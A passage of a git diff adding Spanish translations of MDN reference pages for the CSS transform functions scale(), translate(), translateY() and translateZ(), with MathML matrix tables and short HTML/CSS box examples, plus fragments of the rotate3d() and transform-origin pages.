+   <td colspan="1"><a href="/@api/deki/files/5987/=transform-functions-rotate3d_cart.png"><img src="/@api/deki/files/5987/=transform-functions-rotate3d_cart.png?size=webview" style="height: 47px; width: 510px;"></a><math> <mfenced><mtable><mtr><mtd>1<mo>+</mo>(1<mo>-</mo>cos(<mi>a</mi>))(<msup><mi>x</mi><mn>2</mn></msup><mo>-</mo>1)</mtd><mtd><mi>z</mi><mo>·</mo>sen(<mi>a</mi>)+<mi>x</mi><mi>y</mi>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd><mo>-</mo><mi>y</mi><mo>·</mo>sen(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd></mtr><mtr><mtd><mo>-</mo><mi>z</mi><mo>·</mo>sen(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>y</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd>1+(1-cos(a))(y2-1)</mtd><mtd><mi>x</mi><mo>·</mo>sen(<mi>a</mi>)<mo>+</mo><mi>y</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtr><mtd>ysin(a) + xz(1-cos(a))</mtd><mtd>-xsin(a)+yz(1-cos(a))</mtd><mtd>1+(1-cos(a))(z2-1)</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr> </mtr></mtable></mfenced></math></td>
+   <td colspan="1"><a href="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png"><img src="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png?size=webview" style="height: 61px; width: 522px;"></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Rotar_sobre_el_eje-X">Rotar sobre el eje-X</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;foo&lt;/p&gt;
+&lt;p class="transformed"&gt;bar&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformed{
+  transform: rotate3d(1,0,0,60deg);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Rotating_on_the_X-axis","100%","200")}}</p>
+
+<h3 id="Rotar_sobre_un_eje_personalizado">Rotar sobre un eje personalizado</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;foo&lt;/p&gt;
+&lt;p class="transformed"&gt;bar&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformed{
+  transform: rotate3d(1, 2, -1, 192deg);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample("Rotating_on_a_custom_axis","100%","200")}}</p>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<p>Por favor vea el tipo de datos <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> para información sobre compatibilidad.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/css/transform-function/scale()/index.html b/files/es/web/css/transform-function/scale()/index.html
new file mode 100644
index 0000000000..81a0e24714
--- /dev/null
+++ b/files/es/web/css/transform-function/scale()/index.html
@@ -0,0 +1,122 @@
+---
+title: scale()
+slug: Web/CSS/transform-function/scale()
+tags:
+  - CSS Scale
+  - scale()
+  - scaleX()
+  - scaleY()
+translation_of: Web/CSS/transform-function/scale()
+---
+<div>{{CSSRef}}</div>
+
+<p>La función CSS <code>scale()</code> define una transformación que modifica el tamaño de un elemento en el plano 2D. Debido a que la cantidad de escalado está definida por un vector, puede cambiar el tamaño de la dimensiones horizontal y vertical a diferentes escalas. Su resultado es un dato tipo {cssxref("&lt;transform-function&gt;")}} .</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12115/scale.png" style="height: 325px; width: 392px;"></p>
+
+<p>Esta transformación de escalado se caracteriza por un vector bidimensional. Sus coordenadas definen cuanto escalamiento se realiza en cada dirección. Sí ambas coordenadas son iguales, la escala es uniforme (isotrópica) y la relación de aspecto del elemento se conserva (esta es una transformación homotética).</p>
+
+<p>Cuando un valor de coordenadas está fuera del rango [-1, 1], el elemento crece a lo largo de esa dimensión; cuando está dentro, se encoge. Si es negativo, el resultado es un reflejo de punto en esa dimensión. Un valor de 1 no tiene ningún efecto.</p>
+
+<div class="note">La función scale() solo se escala en 2d. Para escalar en 3D se utiliza la función scale3d() en su lugar.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La función scale () se especifica con uno o dos valores, que representan la cantidad de escala que se aplicará en cada dirección.</p>
+
+<pre class="syntaxbox">scale(<em>sx</em>) scale(<em>sx</em>, <em>sy</em>)
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt><em>sx</em></dt>
+ <dd>Es un {{cssxref("&lt;número&gt;")}} representando la abscisa del vector de escala.</dd>
+ <dt><em>sy</em></dt>
+ <dd>Es un {{cssxref("&lt;número&gt;")}} representado la ordenada de la escala del vector.  Si no está presente, su valor por defecto es <em><strong>sx</strong></em>, llevando a una escala uniforme preservando la curva del elemento.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordenadas Cartesianas en ℝ<sup>2</sup></th>
+   <th scope="col">Coordenadas Homogéneas en ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordenadas Cartesianas en ℝ<sup>3</sup></th>
+   <th scope="col">Coordenadas Homogéneas en ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>sx</mtd><mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>sy</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>sy</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[sx 0 0 sy 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Escalar_las_dimensiones_X_e_Y_al_mismo_tiempo">Escalar las dimensiones X e Y al mismo tiempo</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html"><code>&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="scaled"&gt;Scaled&lt;/div&gt;</code></pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css"><code>div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.scaled {
+  transform: scale(0.7); /* Igual que: scaleX(0.7) scaleY(0.7) */
+  background-color: pink;
+}</code></pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Scaling_the_X_and_Y_dimensions_together", "200", "200")}}</p>
+
+<h3 id="Escalando_dimensiones_X_e_Y_por_separado_y_trasladando_el_origen">Escalando dimensiones <em>X</em> e <em>Y</em> por separado y trasladando el origen</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre><code>&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="scaled"&gt;Scaled&lt;/div&gt;</code></pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre><code>div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.scaled {
+  transform: scale(2, 0.5); /* Igual que: scaleX(2) scaleY(0.5) */
+  transform-origin: left;
+  background-color: pink;
+}</code></pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample("Scaling_X_and_Y_dimensions_separately_and_translating_the_origin", "200", "200")}}</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>Please see the <code><a href="/en-US/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> data type for compatibility info.</p>
+
+<h2 id="También_puede_ver">También puede ver</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/transform-function/scale3d">scale3d()</a></code></li>
+</ul>
diff --git a/files/es/web/css/transform-function/translate()/index.html b/files/es/web/css/transform-function/translate()/index.html
new file mode 100644
index 0000000000..26562a503c
--- /dev/null
+++ b/files/es/web/css/transform-function/translate()/index.html
@@ -0,0 +1,146 @@
+---
+title: translate()
+slug: Web/CSS/transform-function/translate()
+tags:
+  - CSS
+  - CSS Function
+  - CSS Transforms
+  - Función CSS
+  - Referencia
+translation_of: Web/CSS/transform-function/translate()
+---
+<div>{{CSSRef}}</div>
+
+<p>La function de <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>translate()</code></strong> recoloca un elemento en el eje horizontal y/o vertical. Su resultado es de tipo {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12121/translate.png" style="height: 195px; width: 249px;"></p>
+
+<p>Esta transformacion esta compuesta por un vector bidimensional cuyas coordenadas definen cuanto se movera el elemente en cada dirección.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La function <code>translate()</code> esta especificada con uno o dos valores.</p>
+
+<pre class="syntaxbox notranslate">translate(tx)
+
+translate(tx, ty)
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>tx</code></dt>
+ <dd>Es un {{cssxref("&lt;length&gt;")}} que representa la absisa (coordenada x) del vector de translación.</dd>
+ <dt><code>ty</code></dt>
+ <dd>Es un {{cssxref("&lt;length&gt;")}} que representa las ordenadas (coordenada y) del vector de translación. Si no se especifica, su valor es 0. Por ejemplo, <code>translate(2)</code> es equivalente a <code>translate(2, 0)</code>.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordenadas cartesianas en ℝ<sup>2</sup></th>
+   <th scope="col">Coordenadas homogeneas en ℝℙ<sup>2</sup></th>
+   <th scope="col">
+    <p>Coordenadas cartesianas en ℝ<sup>3</sup></p>
+   </th>
+   <th scope="col">Coordenadas homogeneas en ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>Una translación no es una transformación lineal en ℝ<sup>2</sup> y no puede ser representada usando una matriz de coordenadas cartesianas.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 tx ty]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Translación_en_un_solo_eje">Translación en un solo eje</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Estático&lt;/div&gt;
+&lt;div class="moved"&gt;Movido&lt;/div&gt;
+&lt;div&gt;Estático&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 60px;
+  height: 60px;
+  background-color: skyblue;
+}
+
+.moved {
+  transform: translate(10px); /* Equivalente a translateX(10px) */
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Using_a_single-axis_translation", 250, 250)}}</p>
+
+<h3 id="Translación_combinada_en_los_ejes_X_e_Y">Translación combinada en los ejes X e Y</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Estático&lt;/div&gt;
+&lt;div class="moved"&gt;Movido&lt;/div&gt;
+&lt;div&gt;Estático&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 60px;
+  height: 60px;
+  background-color: skyblue;
+}
+
+.moved {
+  transform: translate(10px, 10px);
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample("Combining_y-axis_and_x-axis_translation", 250, 250)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#funcdef-transform-translate', 'translate()')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>Ver el tipo de datos <code><a href="/en-US/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> para la información de compatibilidad.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/es/web/css/transform-function/translatey()/index.html b/files/es/web/css/transform-function/translatey()/index.html
new file mode 100644
index 0000000000..5d01de73be
--- /dev/null
+++ b/files/es/web/css/transform-function/translatey()/index.html
@@ -0,0 +1,117 @@
+---
+title: translateY()
+slug: Web/CSS/transform-function/translateY()
+tags:
+  - Funciones CSS
+  - Referencia
+  - Transformaciones CSS
+translation_of: Web/CSS/transform-function/translateY()
+---
+<div>{{CSSRef}}</div>
+
+<p>La función <strong><code>translateY()</code></strong> de <a href="/en-US/docs/Web/CSS">CSS</a> reposiciona un elemento verticalmente dentro del plano bidimensional. Su resultado es de tipo {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12125/translateY.png" style="height: 195px; width: 243px;"></p>
+
+<div class="note">
+<p><strong>Nota:</strong> <code>translateY(ty)</code> es equivalente a <code><a href="/en-US/docs/Web/CSS/transform-function/translate">translate</a>(0, ty)</code> o <code><a href="/en-US/docs/Web/CSS/transform-function/translate3d">translate3d</a>(0, ty, 0)</code>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* &lt;length-percentage&gt; values */
+transform: translateY(200px);
+transform: translateY(50%);
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>El valor es de tipo {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}}, representando el ordinal del vector de traslación. Un valor en porcentaje es relativo a la altura de la caja de referencia definida por la propiedad {{cssxref("transform-box")}}.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordenadas cartesianas en ℝ<sup>2</sup></th>
+   <th scope="col">Coordenadas homogéneas en ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordenadas cartesianas en ℝ<sup>3</sup></th>
+   <th scope="col">Coordenadas homogéneas en ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>Una traslación no es una transformación linear en ℝ<sup>2 </sup> y no puede ser representada usando una matriz de coordenada cartesiana.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 0 t]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">translateY({{cssxref("&lt;length-percentage&gt;")}})
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Static&lt;/div&gt;
+&lt;div class="moved"&gt;Moved&lt;/div&gt;
+&lt;div&gt;Static&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 60px;
+  height: 60px;
+  background-color: skyblue;
+}
+
+.moved {
+  transform: translateY(10px);
+  background-color: pink;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplos", 250, 250)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-translatey", "translateY()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>Por favor, véase el tipo <code><a href="/en-US/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> para información de compatibilidad.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/es/web/css/transform-function/translatez()/index.html b/files/es/web/css/transform-function/translatez()/index.html
new file mode 100644
index 0000000000..75ee9ac918
--- /dev/null
+++ b/files/es/web/css/transform-function/translatez()/index.html
@@ -0,0 +1,126 @@
+---
+title: translateZ()
+slug: Web/CSS/transform-function/translateZ()
+tags:
+  - 3D
+  - CSS
+translation_of: Web/CSS/transform-function/translateZ()
+---
+<div>{{CSSRef}}</div>
+
+<p>La función <strong><code>translateZ()</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> reposiciona un elemento a lo largo del eje-z (z-axis) en el espacio 3D, es decir, más cerca o mas lejos del espectador. Su resultado es un {{cssxref("&lt;transform-function&gt;")}} tipo de dato.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-translateZ.html")}}</div>
+
+
+
+<p>Esta transformación es definida por una {{cssxref("&lt;length&gt;")}} la cual especifica que tan lejos hacia denttro o hacia afuera el elemento o los elementos se mueven.</p>
+
+<p>En los ejemplos interacticos anteriores, <code><a href="/en-US/docs/Web/CSS/perspective">perspective: 550px;</a></code> (para crear un espacio 3D) y <code><a href="/en-US/docs/Web/CSS/transform-style">transform-style: preserve-3d;</a></code> (los elementos hijos, los 6 lados del cubo, estan también posicionados en el espacio 3D), es decir, han sido establecidos en el cubo.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> <code>translateZ(tz)</code> es equivalente a <code><a href="/en-US/docs/Web/CSS/transform-function/translate3d">translate3d</a>(0, 0, tz)</code>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">translateZ(tz)
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>tz</code></dt>
+ <dd>Una {{cssxref("&lt;length&gt;")}} que representa el componente-z del vector. Un valor positivo mueve el elemento hacia el espectador, y un elemento negativo mueve el elemento más lejos.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordenadas Cartesianas en  ℝ<sup>2</sup></th>
+   <th scope="col">Coordenadas Homógeneas en ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordenadas Cartesianas en ℝ<sup>3</sup></th>
+   <th scope="col">Coordenadas Homógeneas enℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Esta transformación se aplica al espacio 4D y no puede ser representada en el plano.</td>
+   <td colspan="1" rowspan="2">Una traducción no es una transformación lineal en ℝ<sup>3</sup> y no puede ser representada usando una matriz de coordenadas-Cartesianas.</td>
+   <td colspan="1" rowspan="2">
+    <p><math> <mfenced><mtable><mtr>1 <mtd>0 </mtd><mtd>0 </mtd><mtd>0 </mtd></mtr></mtable></mfenced></math></p>
+
+    <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr>0 </mtr></mtable></mfenced></math><math><mfenced><mtable><mtr><mtd>1 </mtd><mtd>0 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p>
+
+    <p><math><mfenced><mtable><mtr><mtd></mtd></mtr></mtable></mfenced></math><mtd style="">0 </mtd><mtd style="">0 </mtd><mtd style="">1 </mtd><mtd style="">t</mtd></p>
+
+    <p><math><mfenced><mtable><mtr><mtd> </mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>0 </mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En este ejemplo, se crean dos cuadros. Uno se coloca normalmente en la página, sin ser traducida en absoluto. El segundo se modifica aplicando perspectiva para crear un espacio 3D, luego se mueve hacia el usuario.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;Static&lt;/div&gt;
+&lt;div class="moved"&gt;Moved&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+  position: relative;
+  width: 60px;
+  height: 60px;
+  left: 100px;
+  background-color: skyblue;
+}
+
+.moved {
+  transform: perspective(500px) translateZ(200px);
+  background-color: pink;
+}
+</pre>
+
+<p>Lo que realmente importa es la clase "movida"; veamos que hace. Primero, la función <code><a href="/en-US/docs/Web/CSS/transform-function/perspective">perspective()</a></code> posiciona al espectador en relación con el plano  que se encuentra donde z=0 (en esencia, la superficie de la pantalla). Un valor de <code>500px</code> significa que el usario es 500 pixels "delante de" las imagenes ubicadas en z=0.</p>
+
+<p>Luego, la función <code>translateZ()</code> mueve el elemento 200 pixeles "hacia afuera" desde la pantalla, hacia el usuario. Esto tiene el efecto de hacer que el elemento parezca más grande cuando se ve en una pantalla 2D, o más cerca cuando se ve usando un auricular VR u otro dispositivo de pantalla 3D.</p>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples", 250, 250)}}</p>
+
+<p>Si el valor <code>perspective()</code> es menor que el valor <code>translateZ()</code>, como <code>transform: perspective(200px) translateZ(300px);</code> el elemento transformado no será visible ya que está más allá de la vista del usuario. Cuanto menor sea la diferencia entre la pespectiva y los valores de transformación, más cerca estará el usuario del elemento y más grande parecerá el elemento traducido. </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Agrega funciones de transformación 3D al CSS Transform estándar.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegador">Compatibilidad con navegador</h2>
+
+<p>Por favor observe la propiedad <code><a href="/en-US/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> para información de compatibilidad.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/es/web/css/transform-origin/index.html b/files/es/web/css/transform-origin/index.html
new file mode 100644
index 0000000000..4ebf8d6fd9
--- /dev/null
+++ b/files/es/web/css/transform-origin/index.html
@@ -0,0 +1,262 @@
+---
+title: transform-origin
+slug: Web/CSS/transform-origin
+translation_of: Web/CSS/transform-origin
+---
+<p>{{ CSSRef("CSS Transforms") }} {{ SeeCompatTable() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>transform-origin</code> le permite modificar el origen de las transformaciones de un elemento. Por ejemplo, el transform-origin de la función <code>rotate()</code> es el centro de rotación. (Esta propiedad es aplicada a la primera translación del elemento por el valor negativo de la propiedad. A continuación, aplicar la transformación del elemento y después trasladar el valor de la propiedad).</p>
+
+<p>Los valores no establecidos explícitamente se restablecen a sus valores originales.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="https://developer.mozilla.org/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Sintaxis Formal</a>: {{csssyntax("transform-origin")}}
+</pre>
+
+<pre>transform-origin: <em>x-offset</em>                                   /* Sintaxis con valor único */   E.g.  transform-origin: 2px
+transform-origin: <em>offset-keyword</em>                                                      E.g.  transform-origin: bottom
+
+transform-origin: <em>x-offset</em> <em>y-offset</em>                          /* Sintaxis con dos valores */   E.g.  transform-origin: 3cm 2px
+transform-origin: <em>y-offset</em> <em>x-offset-keyword</em>                                           E.g.  transform-origin: 2px left
+transform-origin: <em>x-offset-keyword</em> <em>y-offset</em>                                           E.g.  transform-origin: left 2px
+transform-origin: x-<em>offset-keyword</em> <em>y-offset-keyword</em>                                   E.g.  transform-origin: right top
+transform-origin: <em>y-offset-keyword</em> <em>x-offset-keyword</em>                                   E.g.  transform-origin: top right
+
+transform-origin: <em>x-offset</em> <em>y-offset</em> <em>z-offset</em>                 /* Sintaxis con tres valores */ E.g.  transform-origin: 2px 30% 10px
+transform-origin: <em>y-offset</em> <em>x-offset-keyword</em> <em>z-offset</em>                                  E.g.  transform-origin: 2px left 10px
+transform-origin: <em>x-offset-keyword</em> <em>y-offset</em> <em>z-offset</em>                                  E.g.  transform-origin: left 5px -3px
+transform-origin: x-<em>offset-keyword</em> <em>y-offset-keyword z-offset</em>                          E.g.  transform-origin: right bottom 2cm
+transform-origin: <em>y-offset-keyword</em> <em>x-offset-keyword z-offset</em>                          E.g.  transform-origin: bottom right 2cm
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><em>x-offset</em></dt>
+ <dd><span lang="es"><span class="hps">Es</span> <span class="hps">una {{cssxref("&lt;length&gt;")}} o</span> <span class="hps">un {{cssxref("&lt;percentage&gt;")}}</span> <span class="hps">que describe</span> <span class="hps">a qué distancia del</span> <span class="hps">borde izquierdo</span> <span class="hps">de la caja</span> <span class="hps">se establece</span> <span class="hps">el origen de</span> <span class="hps">la transformación.</span></span></dd>
+ <dt><em>offset-keyword</em></dt>
+ <dd>Es una de las palabras clave <code>left</code>, <code>right</code>, <code>top</code>, <code>bottom</code> o <code>center</code> que describen el correspondiente desplazamiento.</dd>
+ <dt><em>y-offset</em></dt>
